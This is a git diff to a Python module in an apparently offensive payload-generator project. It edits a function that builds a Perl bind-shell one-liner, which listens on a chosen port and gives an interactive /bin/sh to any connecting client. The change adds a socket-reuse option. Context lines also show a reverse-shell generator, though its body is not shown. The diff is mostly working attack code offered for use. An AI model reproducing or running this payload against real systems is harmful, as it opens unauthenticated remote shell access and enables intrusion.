diff --git a/payloads/linux/perl.py b/payloads/linux/perl.py
index 1d9b838..9baab21 100755
--- a/payloads/linux/perl.py
+++ b/payloads/linux/perl.py
@@ -7,7 +7,7 @@ def reverse_oneline(lhost, lport):
 
 def bind_oneline(lport):
     """ Perl Bind Shell Generator"""
-    payload = """perl -e 'use Socket;$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'""" %(lport)
+    payload = """perl -e 'use Socket;$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'""" %(lport)
     return payload
 
 def reverse_script(lhost, lport):